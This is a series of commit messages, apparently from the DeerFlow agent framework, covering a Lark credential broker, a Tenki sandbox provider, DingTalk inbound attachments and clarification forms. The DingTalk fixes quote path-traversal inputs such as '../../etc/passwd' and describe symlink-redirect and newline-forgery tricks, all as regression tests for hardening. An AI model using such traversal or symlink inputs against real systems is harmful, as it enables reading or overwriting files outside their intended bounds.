/api/capabilities reports lark_cli_broker_image. Broker supersedes
the Pattern A init-container binary when both are configured.
- gateway: lark_cli_env_overlay(broker=True) omits config/data env;
sandbox_lark_broker_active() TTL-cached mode resolver; broker added
to sandbox_runtime_mode / readiness and the settings UI.
Opt-in and off by default (empty LARK_CLI_BROKER_IMAGE ⇒ no change).
Closes#4338
* fix(lark): address Pattern B broker review findings (#4501)
Follow-up to the sidecar credential broker addressing the PR #4501 review:
- shim: split the on-PATH lark-cli into a /bin/sh launcher + Python shim body
so broker mode fails loudly (exit 127, actionable message) instead of ENOEXEC
when the sandbox image ships no python3; interpreter pinnable via
DEERFLOW_LARK_BROKER_PYTHON. Launcher bakes in the shim's absolute path since
$0 is the bare command name when run off PATH.
- broker: drop the dead cwd payload field (broker can't see the sandbox FS) and
document the command-surface-only / no-file-IO limitation.
- broker: return a structured 500 JSON on unexpected exec errors so the shim
gets a meaningful message, not an opaque transport failure; set a handler
socket timeout to bound slow/stuck connections.
- broker: add an opt-in DEERFLOW_LARK_BROKER_DENY_SUBCOMMANDS denylist that
refuses secret-dumping subcommands before spawning the binary, forwarded from
the provisioner sidecar.
- gateway: tighten the per-bash-call broker probe timeout (1.5s) and cache
negatives longer (300s) so non-broker remote-provisioner users don't pay a
latency hit; guard the mode cache with a lock; drop the dead
_probe_provisioner_lark_cli_init_image wrapper.
- docs: remove the broken design-doc link from the broker README.
Adds tests for launcher python resolution, cwd omission, denylist enforcement,
500-on-error, hot-path probe timeout + negative caching, and provisioner
denylist-env wiring.
Editing the only turn of a thread reran the original prompt: the model
answered the question the edit was replacing while the UI showed the
edited text, and the edit vanished on reload.
The replay-base lookup decided whether a checkpoint predates the target
user message by message id alone. DynamicContextMiddleware re-keys the
first user turn to `{id}__user` mid-run, so every checkpoint written
before it holds the same prompt under an id the lookup cannot match. The
scan walked past those and anchored inside the run that produced the
turn — a checkpoint that still contains the original prompt and owns the
injection node's pending writes, which the replay then re-added after the
edited message.
Require the replay base to be a settled checkpoint (no pending tasks) in
both the lineage walk and the chronological fallback. That rule is
middleware agnostic: the first turn now anchors on the thread's empty
initial checkpoint and later turns on the previous run's tail, which also
drops the existing reliance on LangGraph discarding a stale `__start__`
write.
Edit replay additionally passes `head_checkpoint` so it resolves its base
lineage-first like regenerate does, and a replayed user message is
restored to its pre-swap id: replaying `{id}__user` into a state that has
no reminder yet makes the middleware treat the turn as already injected
and silently drops its date and memory block.
Frontend: a prepared replay masks the turn it supersedes, so the
optimistic-message baseline is taken from the post-mask human count. The
pre-mask count can never be exceeded when the replay puts exactly one
human message back, and on the first turn the runtime re-keys the
replacement message so identity comparison cannot stand in for the count.
Fixes#4531
Renaming a conversation and then editing one of its turns reverts the
title to whatever it was before that turn ran, so the user's own name for
the thread is silently replaced by an older automatically generated one.
Edit replay resumes from the checkpoint before the edited turn, and that
checkpoint predates the rename. Regenerate already guards against exactly
this rollback by replaying the current title as graph input; the edit
replay path was added later and did not carry the guard over.
Replay the title the same way, but only when the replay base already has
one. An untitled base belongs to a thread the title middleware has not
named yet — pinning the current title there would keep a name generated
from the prompt this edit just replaced, and stop the middleware from
naming the rewritten turn.
* feat(memory): integrate FTS5 retrieval adapter
* deps: add jieba as default dependency for Chinese tokenization
Without jieba, FTS5 unicode61 tokenizer treats entire Chinese sentences
as single tokens, making single-character or sub-phrase searches
impossible (e.g. '吃' or '油泼面' returns 0 hits against
'用户喜欢吃油泼面'). jieba segments Chinese text into meaningful tokens
before indexing.
* fix(memory): avoid treating hyphens as FTS5 operators
* feat(memory): make Chinese tokenization optional
* fix(memory): warm every requested retrieval scope
* fix(memory): close retrieval resources on shutdown
* fix(memory): close backend when shutdown flush fails
* fix(memory): recreate corrupt retrieval index
* fix(memory): tolerate partial retrieval rebuilds
* fix(memory): warm retrieval index in background
* fix(memory): preserve shutdown flush budget
* fix(memory): stop retrying partial lazy rebuilds
* fix(memory): close retrieval through storage
* refactor(memory): simplify retrieval scope limit
* docs(memory): clarify retrieval shutdown lifecycle
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(sandbox): add Tenki cloud sandbox provider
Adds deerflow.community.tenki, a SandboxProvider backed by Tenki cloud
microVMs, alongside the existing e2b_sandbox / boxlite / aio_sandbox
backends. Selected via `sandbox.use: deerflow.community.tenki:TenkiSandboxProvider`
(resolved by class path, so the change is purely additive).
The full Sandbox contract is implemented — execute_command plus
read/write/update/download_file and list_dir/glob/grep — with file ops run
as busybox-portable shell commands (cat / find / grep / chunked base64),
reusing deerflow.sandbox.search, mirroring e2b_sandbox and boxlite. Tenki's
SDK is synchronous, so unlike boxlite there is no event-loop bridge.
Tenki sandboxes run as an unprivileged user with /mnt root-owned, so the
/mnt/user-data virtual prefix is remapped under the writable home dir (like
e2b_sandbox); the provider also best-effort sudo-symlinks /mnt/user-data to
that home dir so agent shell commands using the literal path still work.
Sandboxes are pooled per (user, thread) with warm reclaim, a replica cap,
and an idle reaper via the shared WarmPoolLifecycleMixin. Transient
transport blips get one bounded retry; terminal session errors evict and
recreate.
Only the stable Tenki surface is used (create/terminate + exec/shell/fs) —
no volumes, snapshots, or template builds — so any stock base image works.
The tenki-sandbox SDK is an optional extra (deerflow-harness[tenki]) and is
imported lazily, so a default install and every other provider are
unaffected.
Tested: unit suite runs in CI without tenki-sandbox installed; a live
integration test and full-surface e2e were verified against real Tenki
sandboxes.
* fix(sandbox): remove unsafe auto-retry from Tenki exec
Pre-merge review caught that the transient-transport retry sat at the
universal _exec layer, so it retried every operation — execute_command and
base64 file-write chunks included. gRPC has no exactly-once guarantee: a
"socket closed" ack-drop after the server already ran the op means the retry
runs it twice, double-firing command side effects and duplicating a write
chunk mid-file (silent binary corruption on multi-chunk writes).
exec is not idempotent, so it must not be auto-retried. Reverts to the
boxlite/e2b behavior: a transient error surfaces to the caller (returned as
text by execute_command, raised by the file ops); a terminal session error
still evicts the sandbox so the next acquire rebuilds it. Verified live
end-to-end across 31 edge cases (empty/binary/unicode/chunk-boundary files,
shell-metachar content, error paths, list/glob/grep, warm-pool reclaim,
concurrency).
* fix(sandbox): address Tenki provider review feedback
- Use Tenki's native sandbox.fs API for all file transport (read_text,
read_bytes, write_stream, mkdir) instead of cat/chunked-base64 over shell.
Uploads stream in 1 MiB frames; append is read-modify-write because the
write stream has no append mode (same approach as community/e2b_sandbox).
- download_file streams via fs.read_stream and enforces the 100 MB cap on
bytes actually received, closing the TOCTOU window between the old
wc -c size probe and the read.
- list_dir/glob/grep report paths back under /mnt/user-data instead of the
sandbox-internal home dir, so results feed straight into the file APIs.
- Create with wait=False and await wait_ready() here: create(wait=True)
raises with the session handle still inside the SDK, leaking a running
microVM this provider could never terminate.
- Configure the sandbox lifetime (max_duration, default 4h) and expose
sticky; without it Tenki reaps a reused thread's sandbox after ~30 min.
- close() terminates before marking the adapter closed and re-raises real
failures, so a failed termination stays retryable instead of silently
leaking a billed microVM; an already-gone session still counts as closed.
- Bump the optional extra to tenki-sandbox>=0.4.0 and commit backend/uv.lock.
* fix(sandbox): scope tenki grep() glob filter to its directory prefix
Mirrors #4168, which fixed the same defect in the E2B provider. The tenki
adapter reduced a directory-scoped pattern like "src/*.js" to its basename
before filtering, so the search silently broadened to every matching-extension
file in the tree. Post-filter grep's hits through path_matches() against the
path relative to the search root, the same way glob() already does, so both
agree on what a directory-scoped pattern means.
* fix(sandbox): address Tenki provider review — eviction, id width, write lock, grep -H
Four fixes from the upstream review:
download_file no longer swallows terminal transport errors. The broad
`except OSError: raise` re-raised ConnectionError/BrokenPipeError/EOFError
(all OSError subclasses that _is_terminal_failure treats as terminal) before
_note_failure ran, so a session that died mid-download was never evicted. Only
our own EFBIG size-cap now passes through without eviction.
Sandbox id widened from 32 to 64 bits (`[:8]` to `[:16]`), matching
community/e2b_sandbox. The warm pool is keyed by this id with no full-seed
fallback, so a collision could let one user reclaim another's parked sandbox on
a multi-tenant gateway.
_fs_op now holds the lock across the op, not just the fs lookup, so concurrent
calls on the same sandbox serialise over the SDK's shared connection. The
eviction callback runs after the lock is released to avoid a lock-order
deadlock with the provider. The append read-modify-write is serialised by a
dedicated _write_lock so two concurrent appends can't clobber each other.
grep passes -H so a search whose path resolves to a single file still prints
the filename; without it the file:line:text unpack dropped every match.
* fix(sandbox): address Tenki provider review round 2
- validate config `environment` at load time (_validate_extra_env) so a bad
key fails fast instead of surfacing as an SDK error mid-command
- document the deliberate lock decision in download_file: the instance lock is
dropped before streaming so a 100 MB download can't block every other tool;
terminal transport errors still evict via _note_failure
- tighten the terminal-error comment to note ConnectionError/BrokenPipeError/
EOFError are also treated terminal via isinstance
- document TenkiSandboxProvider in backend/AGENTS.md (provider detail, warm-pool
destroy hook, community provider list)
- add a commented Tenki block to config.example.yaml for parity with AIO/BoxLite
- tests: config env validation, grep -F/case-sensitive flags, glob include_dirs,
list_dir max_depth, bootstrap-failure warning branch
* fix(sandbox): make Tenki bootstrap non-interactive and time-bounded
The create-time bootstrap runs under the per-scope acquire lock, so a hang
would stall acquire for that scope indefinitely:
- use `sudo -n` so a password-requiring sudoers entry fails fast (swallowed by
the existing `|| true`) instead of blocking on a tty password prompt
- pass a timeout to the bootstrap `remote.exec` so any other stall drops to the
existing warning path rather than wedging acquire
Best-effort by design; the file APIs still work via the home remap on failure.
* test(sandbox): pin Tenki bootstrap timeout to its actual value
Assert bootstrap["timeout"] == _BOOTSTRAP_TIMEOUT instead of `is not None`, so
a regression to timeout=0 (treated as no timeout by some SDKs) or an unrelated
value is caught rather than passing a weaker non-None check.
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(dingtalk): support inbound file and image attachments
DingTalk previously dropped picture and file (document) messages because
`_on_chatbot_message` ignored any message with empty text, so users could
not send files to the agent. This adds inbound attachment support, mirroring
`FeishuChannel`:
- `_extract_files` parses `picture`/`richText` image downloadCodes and `file`
(document) descriptors. `dingtalk_stream.ChatbotMessage.from_dict` does not
parse `file` messages, so `_DingTalkMessageHandler.process` stashes the raw
callback payload on the message (`_df_raw_data`) for the document descriptor.
- `receive_file` downloads each attachment by `downloadCode` via the robot
`messageFiles/download` OpenAPI, persists it into the thread uploads bucket,
syncs it into a non-local sandbox, and prepends the sandbox virtual path to
the message text so the agent can read the file by path.
- Filenames go through the shared `uploads.normalize_filename` helper, which
strips directory components and rejects traversal patterns.
Outbound `send_file` already existed; this completes DingTalk file parity with
Feishu on the inbound side. Adds 21 tests covering extraction, download-by-code,
persistence/sandbox sync, filename sanitization, and the handler raw-data stash.
* fix(dingtalk): address inbound-file review feedback
Follow-up to the review on #4423:
- Make the fallback filename safe by construction. `download_code` is
attacker-controllable webhook data and was embedded into `fallback_name`
unsanitized; it only avoided escaping the uploads directory because the
resulting write failed with OSError. It is now restricted to
`[A-Za-z0-9_-]` before use. Covered by a test that reproduces the old
behaviour (`uploads/dingtalk_../../evil.png`) and by a test that actually
exercises the previously untested `except ValueError` branch (`".."`,
whose basename — unlike `../../etc/passwd` — does raise).
- Log the swallowed `get_image_list()` failure instead of silently returning
no images, so an SDK parse failure is distinguishable from a richText
message that genuinely has no inline images.
- Surface failed downloads to the agent as a short `[failed to load ...]`
marker rather than silently omitting the attachment, so a user whose file
did not load does not simply appear to be ignored. Keeps the cleaner text
shape while restoring the signal Feishu provides.
Tests: 119 passed (was 115).
* fix(dingtalk): claim unique upload names and refuse symlinked destinations
Round 2 review follow-up on #4423. Both findings reproduce as failing tests
against the previous head.
- Inbound attachments no longer overwrite each other. Generated names repeat
across messages (every picture message yields "image.png", richText yields
"image_0.png"), so a later attachment silently replaced an earlier one whose
virtual path had already been prepended to the message text — the agent could
read bytes that were not the ones its prompt referenced. The destination name
is now claimed with the shared `claim_unique_filename` against the live
directory contents, which also covers a real filename sent twice
(`quote.xlsx`), a case Feishu's inline naming does not handle either. The
claim and the write happen under one lock so two attachments cannot resolve
to the same free name.
- Writes go through the shared `write_upload_file_no_symlink` instead of
`Path.write_bytes`. Uploads dirs may be mounted into local sandboxes, so a
sandbox process could leave a symlink at a future upload name and redirect a
gateway-privileged write outside the bucket; the regression test shows the
old code creating the out-of-bucket target.
Tests: 123 passed (was 119).
* fix(dingtalk): harden the inbound download path (self-audit)
Proactive hardening pass over the new inbound path; each fix reproduces as a
failing test against the previous head.
- Contain token failures. `_get_access_token()` sat outside the try in
`_download_by_code`, and the manager awaits `receive_file` without one — a
DingTalk auth hiccup during a file message aborted the whole chat turn with
no reply. Token acquisition moves inside the try, and `receive_file` gains
per-attachment isolation so no unforeseen error can escape past the marker.
- Cap inbound size. The download buffered arbitrary bytes in memory
(`response.content`) with no limit, while outbound uploads already enforce
one. The body is now streamed and dropped once it exceeds
`_MAX_INBOUND_FILE_SIZE_BYTES` (50 MB), surfacing as a failed-load marker.
- Sanitize the failure marker. It embedded the raw webhook `fileName`; a
newline could forge a standalone `/mnt/user-data/uploads/...` line inside
msg.text and an over-long name bloated it. Markers now collapse whitespace
and cap at 80 chars.
- Keep blocking IO off the event loop. `ensure_thread_dirs`, the uploads-dir
resolve, sync `SandboxProvider.acquire`, and `sandbox.update_file` all ran on
the loop; directory prep now lives inside the same `asyncio.to_thread` as the
claim+write, and sandbox sync uses `acquire_async` + an offloaded
`update_file`. Locked by a strict Blockbuster anchor
(tests/blocking_io/test_dingtalk_receive_file.py), verified to fail with
`BlockingError: Blocking call to os.mkdir` when the offload is reverted.
Tests: 127 + 1 blocking-io anchor (was 123); tests/blocking_io/ suite 55 passed.
* fix(dingtalk): surface missing-sandbox sync as a failed load
Round 3 follow-up on #4423:
- When a non-local sandbox acquire succeeds but the provider cannot resolve
the instance, _receive_single_file returned the virtual path anyway — a
path the agent's sandbox cannot read. Mirror Feishu: log and return "",
so the [failed to load ...] marker fires instead. Red-first test:
test_missing_sandbox_after_acquire_yields_marker.
- Drop the dead GetResponse / FakeClient.get scaffolding left in
test_oversized_download_is_dropped from its red-first iteration.
Tests: 128 + 1 blocking-io anchor (was 127 + 1).
* fix(dingtalk): treat non-local sandbox sync failure as a failed load
Round 4 follow-up on #4423. The sync except-branch logged and still returned
the virtual path when acquire or update_file raised on a non-local sandbox —
the same handing-the-agent-an-unreadable-path failure mode the sandbox-is-None
branch was just fixed for, and exactly the leg the suite did not exercise.
Feishu's except-branch returns its failure marker; DingTalk now does the
equivalent (return "" so the failed-load marker fires). Red-first test:
test_update_file_failure_yields_marker.
Tests: 129 + 1 blocking-io anchor (was 128 + 1).
---------
Co-authored-by: Willem Jiang <willem.jiang@gmail.com>
* feat(clarification): structured form fields for human-input cards
Add a request-side v2 `form` mode to the ask_clarification protocol so
business flows (e.g. expense reimbursement) can collect several values
in one card instead of sequential free-text questions:
- `ask_clarification` gains a restricted `fields` parameter (text /
textarea / number / select / multi_select / checkbox / date)
- ClarificationMiddleware validates and normalizes fields explicitly
(whitelisted types, unknown -> text, select-likes without options ->
text, duplicate/invalid entries dropped, all-invalid falls back to
the legacy modes) since the middleware short-circuits before tool
execution; the plain-text fallback lists fields for IM channels
- Form payloads carry `version: 2` so older frontends degrade to the
text fallback; replies stay on the v1 response protocol — the card
submits a readable summary as `response_kind: "text"`, so journal
persistence and answered-card recovery are unchanged
- Frontend renders typed field controls with required-field validation
and compact multi-select chips
Part of #4400 (scope narrowed per maintainer feedback: request-side
only, no new response kinds, no top-level multi_choice).
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(clarification): harden form protocol per review feedback
Address the five review points on #4406:
- Reject field names colliding with JS Object.prototype members on both
sides; frontend reads form values via own-property access only, so
`constructor`/`toString`-style names can no longer leak inherited
members into required validation or the submitted summary
- Close open requests answered through the legacy text fallback: a
visible plain human reply (no response metadata) now marks every
previously-opened request as answered, so upgrading to a v2-aware
frontend cannot leave the composer locked on an already-answered card
- Give checkbox fields deterministic boolean semantics: values are
seeded to an explicit false ("no" in the summary) and `required` means
must-agree/consent; documented in the tool schema
- Make middleware field validation atomic: structurally broken entries
(bad/duplicate/reserved names, over-cap field/option counts or text
lengths) degrade the whole form instead of silently dropping fields;
options are trimmed/deduped with blanks removed so the backend never
emits payloads the frontend parser rejects
- Associate form labels/controls (htmlFor/id), aria-required,
aria-invalid, and error descriptions for accessibility
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* refactor(clarification): type the fields item schema via TypedDict
Replace `fields: list[dict[str, Any]]` with `list[ClarificationFormField]`
(a TypedDict with `name` required and the type whitelist as a Literal) so
the provider-facing tool schema documents the item shape instead of an
opaque object relying on the docstring. Runtime validation is unchanged
and stays in ClarificationMiddleware, which intercepts the call before
tool execution. Addresses the non-blocking review suggestion on #4406.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(frontend): drop unsupported aria-invalid from multi-select group
jsx-a11y: role=group does not support aria-invalid; the error linkage
stays via aria-describedby.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(clarification): coerce numeric required flags and normalize fields once
- `_normalize_bool` now coerces 1/0 (some providers serialize booleans
as integers), so `required: 1` no longer silently flips to optional
- `_handle_clarification` normalizes `fields` once and passes the result
to both the text fallback and the payload builder
Addresses the non-blocking review nits on #4406.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(clarification): harden form protocol per contract review round 2
Backend:
- Guard unhashable JSON in the intercept path: `type: []`/`{}` degrades
the field to text and `clarification_type: []` coerces to str instead
of raising TypeError (which, with return_direct, ended the turn with
an error and no card or fallback)
- Add a total budget over the serialized normalized fields (16KB UTF-8
bytes): per-item caps alone admitted forms whose IM text fallback
exceeded channel delivery limits (Slack 40k chars, Feishu ~30KB card),
silently truncating trailing fields; a boundary test proves any
accepted form's fallback stays deliverable
Frontend:
- Submission value now appends a JSON block keyed by stable field names
(readable summary alone is delimiter-ambiguous), with a collision
regression test
- Parser boundary tightened to match backend constraints: empty option
values (Radix SelectItem crash), duplicate option ids/values,
duplicate field names, and the form<->version-2 binding are rejected
- Keep the error node mounted while any field is still invalid so
aria-describedby never points at a removed element (happy-dom
interaction test)
- Required semantics are now accessible: native checkbox control (no
HTML required attribute — it would intercept the custom submit path),
visually-hidden localized "required" markers next to the aria-hidden
asterisks
- Legacy-fallback closure narrowed to the latest unanswered request:
nothing guarantees a single outstanding clarification across runs, and
closing all would silently swallow older decisions; an older request
left open becomes the active card again
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
* fix(frontend): keep clarification selects controlled
---------
Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
